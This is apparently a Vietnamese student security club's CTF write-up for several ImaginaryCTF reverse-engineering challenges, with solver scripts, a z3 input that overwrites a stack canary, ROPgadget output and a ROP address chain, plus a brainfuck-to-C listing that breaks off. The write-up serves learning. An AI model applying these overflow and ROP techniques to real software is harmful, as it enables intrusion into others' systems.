CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com
RE
Mochi Nishi
foliage
Challenge
File: foliage
Solve:
Bài này mình sẽ chi tiết vào từng hàm, vì chúng ta cần hiểu code đang làm gì để có thể đưa ra được hướng giải quyết chính xác nhất.
Mở IDA lên thì mình thấy có hàm init_tree()
:
Nhìn hình trên, ta còn thấy một hàm cần phải được nói sơ qua là hàm init_rnd()
. Cơ bản thì hàm sẽ tạo ra 2 tham số có giá trị ngẫu nhiên, và chúng ta chỉ được biết 1 trong 2 tham số có giá trị là gì, mình sẽ đặt tên 2 tham số đó là known_seed
và unknown_seed
trong phần tiếp theo của Write Up.
Ta sẽ phân tích hàm init_tree()
, đây là một hàm đóng vai trò khá quan trọng trong hàm:
Ở vòng for đầu tiên, chương trình sẽ khởi tạo 500001 ô nhớ tương ứng với 500001 địa chỉ trong heap cho mảng subtrees
, Mỗi ô nhớ của subtrees
trong heap đều có 1 cấu trúc giống nhau: 16 bytes đầu tiên sẽ có giá trị là 0, 8 bytes tiếp theo lưu địa chỉ của ô nhớ và 8 bytes cuối cùng dùng để đánh số ô nhớ, vậy sẽ mất 32 bytes cho 1 ô nhớ, gồm 3 buffer đầu và 1 buffer cuối cho việc đánh số. Mục đích mình tách ra 2 loại buffer như thế để cho tiện trong việc trình bày tiếp theo.Ở vòng for thứ hai chương trình sẽ làm như sau:
- Khởi tạo 2 con trỏ v11 và v12 để trỏ vào từng ô trong mảng
subtrees
. Chi tiết hơn thì sẽ trỏ các vị trív12
,v12 + 1
vàv11
choice(x, y)
sẽ trả về giá trị random từ0
đếnx-1
dựa trên seedy
. Vậy biếnv5
và biếnv6
sẽ là một giá trị bất kì lần lượt từ[0, v11-v12]
và[0, v11-v12-1]
dựa trênknown_seed
mà đề bài cho biết trước.- Sau khi chọn xong, chương trình sẽ swap vị trí
v5+v12
vớiv12
trong subtrees, tương tự vớiv6+v12+1
vớiv12+1
- Nhớ lại cấu trúc 1 ô nhớ của mảng
subtrees
, chương trình sẽ gán 2 buffer đầu tiên lần lượt là giá trị củasubtrees[v12]
vàsubtrees[v12+1]
- địa chỉ của các ô nhớ trong heap - buffer thứ 3 sẽ được gán bằng 1 trong 3 địa chỉ của heap ở
buffer thứ 3
củasubtrees[v12]
,subtrees[v12+1]
,subtrees[v11]
dựa trênunknown_seed
. Mình biết đoạn này hơi phức tạp nên các bạn có thể debug để hiểu thêm chương trình
Chúng ta sẽ lùi lại một bước và suy nghĩ thử xem, thực chất vòng for thứ 2 thực sự đang làm gì:
Chương trình sẽ tạo ra một cây nhị phân, việc xây dựng cây sẽ được thực hiện bằng cách chọn 2 nút v5+v12
và v6+v12+1
sẽ là con của nút v11
. Đồng thời chọn 1 trong các nút là con của v11
làm đại diện cho tập hợp bộ 3 nút đó.
P/s: Ở đây mình không thể nói được lí do tại sao nó lại swap ở bước số 2 do mình không biết dùng từ gì để diễn tả, có thể nếu quay video vừa debug vừa giải thích thì mình sẽ nói rõ được vấn đề này :D
Quay lại vấn đề chính, vậy ta biết rằng chương trình sẽ tạo ra một cây nhị phân. Ta xem tiếp đoạn tiếp theo của chương trình.
Tóm tắt lại thì chương trình sẽ in ra 2 nút bất kì, và yêu cầu mình tìm cha chung nhỏ nhất của 2 nút.
Tới đây thì chúng ta phải đi vào lí thuyết về thuật toán một chút: Trong lĩnh vực về các cuộc thi toán học, có một vấn đề trong bài toán Tree Traversal
đó chính là Lowest Common Ancestor
, hay viết tắt là LCA
. Đây là một bài toán khó nói chung trong các đề thi thuật toán (Các bạn có thể tham khảo trong link này: https://vnoi.info/wiki/algo/data-structures/lca.md)
Chương trình cho chúng ta 50000 truy vấn, và yêu cầu mỗi truy vấn tìm cha chung nhỏ nhất của 2 nút con. Trong trường hợp tệ nhất, nếu như cây được xây dựng là một cây nhị phân bị suy thoái, nghĩa là độ dài của cây sẽ gần bằng với n
nếu cây có n
nút, thì độ phức tạp sẽ là O(50000 * 500000), đây là một độ phức tạp rất lớn.
Tuy nhiên ở bài này, mình sẽ mặc địch cho rằng chiều cao của cây sẽ là log2(500000)
vì đơn giản là cây được tạo bằng thuật toán random, cho nên thuật toán của mình được trình bày như sau:
- Nếu độ cao của 2 nút chưa bằng nhau, thì mình sẽ lấy nút có độ cao lớn hơn đi ngược lên trên các nút cha cho tới khi độ cao đã bằng với nút còn lại
- Từ đây, ta sẽ cho 2 nút con cùng lúc đi ngược lên nút cha cho tới khi nào 2 nút đó bằng nhau, nghĩa là ta đã đi tới được cha chung của 2 nút con. Tới đây thuật toán sẽ dừng lại
Mình viết 2 script c++ để tìm đáp án cho từng truy vấn và python dùng để gửi kết quả lên server:
script.cpp
#include <bits/stdc++.h>#define ulong unsigned long longusing namespace std;struct node { int l, r, h, pre;};ulong seed;int id[500100];node arr[500100];ulong lcg(ulong param_1) { param_1 = param_1 * 0x5851f42d4c957f2d + 1; return param_1;}ulong choice(ulong param_1, ulong param_2) { return param_2 % param_1;}void init_tree() { int v11 = 250001; int v12 = 0; while (v11 <= 500000) { int v13 = id[v11]; seed = lcg(seed); int v5 = choice(v11 - v12, seed); if (v5 + v12 != v12) swap(id[v5 + v12], id[v12]); seed = lcg(seed); int v6 = choice(v11 - v12 - 1, seed); if (v12 + v6 != v12) swap(id[v12 + 1 + v6], id[v12 + 1]); int u = id[v12], v = id[v12 + 1]; arr[v13].l = u; arr[v13].r = v; arr[u].pre = v13; arr[v].pre = v13; v11 += 1; v12 += 2; }}void init_data() { for (int i=0; i<=500000; i++) { id[i] = i; arr[i].l = -1; arr[i].r = -1; arr[i].pre = -1; arr[i].h = 0; }}//66022void process_tree() { for (int i=0; i<50000; i++) { int x, y; cin >> x >> y; while (arr[x].h > arr[y].h) x = arr[x].pre; while (arr[y].h > arr[x].h) y = arr[y].pre; while (arr[x].pre != arr[y].pre) { x = arr[x].pre; y = arr[y].pre; } cout << arr[x].pre; cout << endl; }}void DFS(int node, int height) { arr[node].h = height + 1; if (arr[node].l != -1) DFS(arr[node].l, height + 1); if (arr[node].r != -1) DFS(arr[node].r, height + 1);}void debug_info() { for (int i=0; i<=500000; i++) if (arr[i].h == 2) cout << i << endl;}int main() { cin >> seed; init_data(); init_tree(); DFS(500000, -1);// debug_info(); process_tree(); return 0;}
script.py
from pwn import *ans = []p = process("./a.out")f = remote("chal.imaginaryctf.org", 42013)# f = process("./foliage")print(f.recvuntil("seed: "))seed = int(f.recvline().decode('utf-8'))print(seed)print(f.recv())p.sendline(str(seed))f.sendline('42')x = 0y = 0for i in range(50000): text = f.recvline().decode('utf-8') x = int(text.split(' ')[0]) y = int(text.split(' ')[1]) p.sendline('{} {}'.format(x, y)) text = p.recv() res = int(text.decode('utf-8')) ans.append(res)print(f.recv())for i in range(50000): f.sendline(str(ans[i]))print(f.recv())
ictf{I_can_f1n4lly_see_the_forest_through_the_tr33s}
it's not pwn, I swear!
Challenge
File: notpwn
Solve:
Bỏ vào IDA xem thì thấy nhìn có vẻ giống pwn :p, nhìn vào hàm vuln thì có một điều khá kì lạ
return v2 - __readfsqword(0x28u);
, hình như có gì đó không ổn. Stack canary được kiểm tra bằng cách xor __readfsqword(0x28u)
với giá trị nằm sát bên ngoài stack. Nhưng ở đây chương trình lại đem đi trừ. Mình thử nhảy vô hàm __stack_chk_fail
để xem thử:
À, đây là nơi sẽ kiểm tra input của chúng ta. Lưu ý để có thể nhảy vào được hàm __stack_chk_fail
thì chúng ta cần phải làm cho tràn stack. Ở đây input phải có độ dài lớn hơn 10 thì chúng ta mới nhảy vô được, và input được kiểm tra ở vị trí số 11 trở đi.
Ở đoạn code này, chương trình sẽ kiểm tra Input của chúng ta bằng biểu thức v24 = v24 * v27 + v28;
với v27
và v28
là 2 đoạn input được chia ra làm 2, việc của chúng ta là phải tìm tham số v24
phù hợp để giải phương trình. Mình sẽ dùng z3
để tìm input phù hợp.
script.py
from z3 import *s = Solver()r0, r1 = BitVecs('r0 r1', 64)s.add((r0 * 0x6231726435333364 + r1) & 0xffffffffffffffff == 0x317EE37C444051C9)s.add((r0 * 0x317EE37C444051C9 + r1) & 0xffffffffffffffff == 0x65BBFA1E87AA1F8D)if (s.check() == sat): print(s.model())print('a'*10, end = "")res = [8232701341654542452, 7220151342919084153]for i in res: print(bytes.fromhex(hex(i)[2:]).decode()[::-1], end = "")
Kết quả ra là aaaaaaaaaath3c@n@ryh@sd!3d
, mình đã tự động pad thêm 10 kí tự a
ở đầu để có thể ghi đè canary. Mình sẽ nhập kết quả này vào chương trình thử:
ictf{m@ry_h@d_@_pr3++y_b!rd_f3ath3rs_bri6ht_and_ye11ow_}
jumprope
Challenge
File: jumprope
Solve:
Nhìn lướt sơ chương trình thì mình thấy có hàm checkFlag
. Debug hàm này thêm với việc kiểm tra entry points thì mình thấy rằng còn có các hàm tên c
, o
, r
, e
, t
. Lúc này mình đoán rằng mình sẽ nhập vào input, input đó sau khi encrypt sẽ trở thành địa chỉ của các hàm trên, sau cho nhảy vào các hàm theo thứ tự correct
như đề bài kêu.
Tuy nhiên, ở hai hàm o
, t
còn kiểm tra các tham số truyền vào, nếu xem trong assembly, tham số này chính là thanh ghi edi
.
Bên trái là assembly, bên phải là source code.
Hình thành được ý tưởng, ta có 2 việc cần làm: Tìm các địa chỉ của các hàm nêu trên và tìm cách để truyền giá trị vào thanh ghi edi
để so sánh kết quả của 2 hàm o
và t
.
Việc thứ nhất hoàn toàn có thể làm bằng cách ngồi tìm địa chỉ đầu tiên của các hàm (do PIE đã được tắt). Nhưng làm sao để có thể thêm 1 giá trị vào thanh ghi edi
?
Mình có tham khảo pivik
và mình biết đây là một bài ROP. nghĩa là mình đi tìm Gadgets cho bài này để có thể thêm một giá trị tuỳ ý vào thanh ghi edi
(Chi tiết về ROP các bạn có thể google)
Mình sẽ xài ROPgadget
để tìm các gadget:
nguyenguyen753@MochiZou:~/CTF/imaginary/competition/jumprope$ ROPgadget --binary jumprope Gadgets information============================================================0x0000000000401099 : add ah, dh ; nop dword ptr [rax + rax] ; ret0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x4010200x0000000000401169 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x4011870x000000000040126f : add al, ch ; jmp 0x4012700x0000000000401225 : add al, ch ; xor eax, 0x90fffffe ; pop rbp ; ret0x00000000004010cb : add bh, bh ; loopne 0x401135 ; nop ; ret0x000000000040126d : add byte ptr [rax], al ; add al, ch ; jmp 0x4012700x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4010200x0000000000401160 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4011970x00000000004011c1 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4011eb0x00000000004011a8 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4012050x0000000000401148 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010e00x000000000040137b : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret0x0000000000401098 : add byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret0x0000000000401039 : add byte ptr [rax], al ; jmp 0x4010200x000000000040116b : add byte ptr [rax], al ; jmp 0x4011870x0000000000401162 : add byte ptr [rax], al ; jmp 0x4011970x00000000004011c3 : add byte ptr [rax], al ; jmp 0x4011eb0x00000000004011aa : add byte ptr [rax], al ; jmp 0x4012050x00000000004012fe : add byte ptr [rax], al ; jmp 0x40136f0x000000000040114a : add byte ptr [rax], al ; nop dword ptr [rax] ; jmp 0x4010e00x00000000004012fa : add byte ptr [rax], al ; or byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40136f0x0000000000401195 : add byte ptr [rax], al ; pop rbp ; ret0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x4010200x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x4010200x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x4010200x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x4010200x000000000040109e : add byte ptr [rax], al ; ret0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax0x000000000040109d : add byte ptr [rax], r8b ; ret0x0000000000401137 : add byte ptr [rcx], al ; pop rbp ; ret0x00000000004010ca : add dil, dil ; loopne 0x401135 ; nop ; ret0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x4010200x0000000000401193 : add dword ptr [rax], eax ; add byte ptr [rax], al ; pop rbp ; ret0x000000000040115c : add dword ptr [rbp + 7], esi ; mov eax, 0 ; jmp 0x4011970x0000000000401138 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret0x00000000004012f7 : add eax, 0x3048 ; or byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40136f0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x4010200x0000000000401013 : add esp, 8 ; ret0x0000000000401012 : add rsp, 8 ; ret0x000000000040122a : call qword ptr [rax + 0x4855c35d]0x0000000000401257 : call qword ptr [rax + 0x4855c3c9]0x0000000000401010 : call rax0x0000000000401168 : cld ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x4011870x00000000004011a7 : cld ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4012050x000000000040118f : cld ; jl 0x40116f ; mov eax, 1 ; pop rbp ; ret0x00000000004011a4 : fadd st(7) ; cld ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4012050x0000000000401474 : fisttp word ptr [rax - 0x7d] ; ret0x0000000000401042 : fisubr dword ptr [rdi] ; add byte ptr [rax], al ; push 1 ; jmp 0x4010200x000000000040120e : fmul st(1) ; ret0x0000000000401191 : fnstsw dword ptr [rax + 1] ; pop rbp ; ret0x000000000040109a : hlt ; nop dword ptr [rax + rax] ; ret0x000000000040115b : in al, dx ; add dword ptr [rbp + 7], esi ; mov eax, 0 ; jmp 0x4011970x000000000040100e : je 0x401012 ; call rax0x00000000004010c5 : je 0x4010d0 ; mov edi, 0x404340 ; jmp rax0x0000000000401107 : je 0x401110 ; mov edi, 0x404340 ; jmp rax0x00000000004011a3 : jge 0x40117d ; mov dword ptr [rbp - 4], 0 ; jmp 0x4012050x0000000000401190 : jl 0x40116f ; mov eax, 1 ; pop rbp ; ret0x0000000000401209 : jle 0x4011ae ; mov rax, qword ptr [rbp - 0x28] ; leave ; ret0x0000000000401378 : jle 0x401302 ; mov eax, 0 ; pop rbp ; ret0x000000000040103b : jmp 0x4010200x0000000000401150 : jmp 0x4010e00x000000000040116d : jmp 0x4011870x0000000000401164 : jmp 0x4011970x00000000004011c5 : jmp 0x4011eb0x00000000004011ac : jmp 0x4012050x0000000000401271 : jmp 0x4012700x0000000000401300 : jmp 0x40136f0x00000000004010cc : jmp rax0x000000000040115d : jne 0x401166 ; mov eax, 0 ; jmp 0x4011970x000000000040117a : jne 0x401183 ; mov eax, 0 ; jmp 0x4011970x000000000040120f : leave ; ret0x0000000000401032 : loop 0x401063 ; add byte ptr [rax], al ; push 0 ; jmp 0x4010200x00000000004010cd : loopne 0x401135 ; nop ; ret0x0000000000401379 : mov byte ptr [rax], bh ; pop rbp ; ret0x0000000000401132 : mov byte ptr [rip + 0x3207], 1 ; pop rbp ; ret0x00000000004011be : mov dword ptr [rbp - 0x1c], 0 ; jmp 0x4011eb0x00000000004011a5 : mov dword ptr [rbp - 4], 0 ; jmp 0x4012050x0000000000401166 : mov dword ptr [rbp - 4], 2 ; jmp 0x4011870x000000000040115f : mov eax, 0 ; jmp 0x4011970x000000000040137a : mov eax, 0 ; pop rbp ; ret0x0000000000401192 : mov eax, 1 ; pop rbp ; ret0x000000000040120c : mov eax, dword ptr [rbp - 0x28] ; leave ; ret0x00000000004010c7 : mov edi, 0x404340 ; jmp rax0x000000000040120b : mov rax, qword ptr [rbp - 0x28] ; leave ; ret0x0000000000401258 : nop ; leave ; ret0x000000000040122b : nop ; pop rbp ; ret0x00000000004010cf : nop ; ret0x000000000040109b : nop dword ptr [rax + rax] ; ret0x000000000040114c : nop dword ptr [rax] ; jmp 0x4010e00x000000000040148d : nop dword ptr [rax] ; ret0x00000000004012fc : or byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x40136f0x00000000004010c6 : or dword ptr [rdi + 0x404340], edi ; jmp rax0x0000000000401484 : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000401486 : pop r13 ; pop r14 ; pop r15 ; ret0x0000000000401488 : pop r14 ; pop r15 ; ret0x000000000040148a : pop r15 ; ret0x0000000000401483 : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000401487 : pop rbp ; pop r14 ; pop r15 ; ret0x0000000000401139 : pop rbp ; ret0x0000000000401377 : pop rdi ; jle 0x401302 ; mov eax, 0 ; pop rbp ; ret0x000000000040148b : pop rdi ; ret0x0000000000401489 : pop rsi ; pop r15 ; ret0x0000000000401485 : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000401036 : push 0 ; jmp 0x4010200x0000000000401046 : push 1 ; jmp 0x4010200x0000000000401056 : push 2 ; jmp 0x4010200x0000000000401066 : push 3 ; jmp 0x4010200x0000000000401016 : ret0x0000000000401346 : ret 0x8b480x0000000000401062 : retf 0x2f0x0000000000401353 : retf 0x58b0x0000000000401179 : sal byte ptr [rbp + 7], 0xb8 ; add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4011970x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret0x0000000000401052 : shr byte ptr [rdi], cl ; add byte ptr [rax], al ; push 2 ; jmp 0x4010200x0000000000401495 : sub esp, 8 ; add rsp, 8 ; ret0x0000000000401494 : sub rsp, 8 ; add rsp, 8 ; ret0x000000000040100c : test eax, eax ; je 0x401012 ; call rax0x00000000004010c3 : test eax, eax ; je 0x4010d0 ; mov edi, 0x404340 ; jmp rax0x0000000000401105 : test eax, eax ; je 0x401110 ; mov edi, 0x404340 ; jmp rax0x0000000000401178 : test eax, eax ; jne 0x401183 ; mov eax, 0 ; jmp 0x4011970x000000000040100b : test rax, rax ; je 0x401012 ; call rax0x0000000000401135 : xor al, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret0x0000000000401227 : xor eax, 0x90fffffe ; pop rbp ; ret0x0000000000401165 : xor edi, eax ; cld ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401187Unique gadgets found: 125
Mình thấy 0x000000000040148b : pop rdi ; ret
có vẻ hợp lí, thế mình dùng địa chỉ này, viết script để decode ra input thử xem có đúng không
script.cpp
#include <bits/stdc++.h>using namespace std;#define ulong unsigned long#define uint unsigned intint listt[10000] = {253, 60, 196, 14, 118, 255, 75, 69, 31, 64, 244, 230, 128, 184, 181, 232, 118, 142, 59, 248, 228, 189, 201, 199, 63, 230, 207, 21, 148, 154, 138, 40, 78, 94, 30, 63, 37, 212, 44, 169, 54, 40, 66, 64, 147, 141, 15, 255, 174, 43, 43, 223, 126, 26, 78, 5, 99, 208, 136, 225, 161, 31, 90, 61, 54, 79, 174, 137, 123, 215, 39, 208, 41, 192, 158, 240, 32, 223, 105, 119, 148, 233, 88, 15, 184, 236, 249, 36};int addr[1000] = {17, 18, 64, 0, 0, 0, 0, 0, 139, 20, 64, 0, 0, 0, 0, 0, 211, 192, 55, 19, 0, 0, 0, 0, 66, 18, 64, 0, 0, 0, 0, 0, 91, 18, 64, 0, 0, 0, 0, 0, 91, 18, 64, 0, 0, 0, 0, 0, 120, 18, 64, 0, 0, 0, 0, 0, 17, 18, 64, 0, 0, 0, 0, 0, 139, 20, 64, 0, 0, 0, 0, 0, 206, 250, 173, 222, 0, 0, 0, 0, 149, 18, 64, 0, 0, 0, 0, 0};int test(int param_1){ int uVar1; int local_c; if (param_1 == 1) { uVar1 = 0; } else { local_c = 2; while (local_c < param_1 + -1) { if (param_1 % local_c == 0) { return 0; } local_c = local_c + 1; } uVar1 = 1; } return uVar1;}ulong next(ulong param_1){ int iVar1; ulong local_30; int local_24; ulong local_20; ulong local_18; int local_c; local_c = 0; local_30 = param_1; while (local_c < 8) { local_18 = 0; local_20 = local_30; local_24 = 0; while (local_24 < 8) { iVar1 = test(local_24 + 1); if (iVar1 != 0) { local_18 = local_18 ^ (uint)local_20 & 1; } local_20 = local_20 >> 1; local_24 = local_24 + 1; } local_30 = (local_30 >> 1) + local_18 * 0x80; local_c = local_c + 1; } return local_30;}int main() { int val = 2, num = 0; cout << (0xcb ^ listt[8] ^ (int)'_') << endl; for (int i=8; i<=95; i++) { val = next(val) & 0xff; int k = (val ^ (listt[(num)] & 0xff)) & 0xff; cout << (char)((k ^ addr[num]) & 0xff); num += 1; }}
Đây là script mình giải được viết bằng c++. Để cho các bạn đọc có thể dễ hiểu ý tưởng của bài, mình sẽ kèm thêm một script viết bằng python để in ra các giá trị của địa chỉ:
script.py
c = 0x0000000000401211gadgets = 0x000000000040148bo = 0x0000000000401242e = 0x0000000000401278r = 0x000000000040125Bt = 0x0000000000401295li = []def convert(val): for i in range(8): k = i * 8 car = (val >> k) & 0xff li.append(car)convert(c)convert(gadgets)convert(0x1337C0D3)convert(o)convert(r)convert(r)convert(e)convert(c)convert(gadgets)convert(0xDEADFACE)convert(t)print(li)print(len(li))k = [int(i, 16) for i in '0FD, 3C, 0C4, 0E, 76, 0FF, 4B, 45, 1F, 40, 0F4, 0E6, 80, 0B8, 0B5, 0E8, 76, 8E, 3B, 0F8, 0E4, 0BD, 0C9, 0C7, 3F, 0E6, 0CF, 15, 94, 9A, 8A, 28, 4E, 5E, 1E, 3F, 25, 0D4, 2C, 0A9, 36, 28, 42, 40, 93, 8D, 0F, 0FF, 0AE, 2B, 2B, 0DF, 7E, 1A, 4E, 5, 63, 0D0, 88, 0E1, 0A1, 1F, 5A, 3D, 36, 4F, 0AE, 89, 7B, 0D7, 27, 0D0, 29, 0C0, 9E, 0F0, 20, 0DF, 69, 77, 94, 0E9, 58, 0F, 0B8, 0EC, 0F9, 24'.split(', ')]o = [17, 18, 64, 0, 0, 0, 0, 0, 46, 18, 64, 0, 0, 0, 0, 0, 91, 18, 64, 0, 0, 0, 0, 0, 91, 18, 64, 0, 0, 0, 0, 0, 120, 18, 64, 0, 0, 0, 0, 0, 17, 18, 64, 0, 0, 0, 0, 0, 149, 18, 64, 0, 0, 0, 0, 0]print(k)print(len(o))print(len(k))
ictf{n0t_last_night_but_the_night_bef0re_twenty_f0ur_hackers_came_a_kn0cking_at_my_d00r}
no thoughts, head empty
Challenge
File: stings
Solve:
Đây là một bài được viết bằng brainf*ck
. Sau khi hỏi anh Google thì mình tìm được cách chuyển từ brainf*ck
sang c: https://github.com/paulkaefer/bftoc
Dưới đây là source code viết bằng c sau khi được chuyển:
/* This is a translation of flag_min.bf, generated by bftoc.py (by Paul Kaefer) * It was generated on Tuesday, July 27, 2021 at 07:18PM */#include <stdio.h>void main(void){ int size = 1000; int tape[size]; int i = 0; /* Clearing the tape (array) */ for (i=0; i<size; i++) tape[i] = 0; int ptr = 0; ptr += 2; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 2; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 8; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 10; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 10; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 1; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 5; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 19; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 12; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 12; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 3; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 7; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 7; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 7; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 1; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 11; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 8; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 8; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 13; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 10; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 10; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 5; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 10; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 10; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 1; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 17; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 8; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 8; ptr += 1; tape[ptr] -= 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 7; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 8; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 8; ptr += 1; tape[ptr] -= 1; } ptr += 1; tape[ptr] += 10; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 10; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 1; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 5; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 8; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 8; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 13; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 7; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 10; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 10; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 5; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 7; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 7; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 1; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 19; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 10; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 10; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 5; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 10; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 10; ptr += 1; tape[ptr] -= 1; } ptr += 1; tape[ptr] += 7; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 7; ptr += 1; tape[ptr] -= 1; } ptr += 1; tape[ptr] += 11; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 11; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] -= 19; ptr += 1; tape[ptr] += 1; } ptr += 1; tape[ptr] += 8; while (tape[ptr] != 0) { ptr -= 1; tape[ptr] += 8; ptr += 1; tape[ptr] -= 1; } tape[ptr] -= 1; while (tape[ptr] != 0) { ptr -= 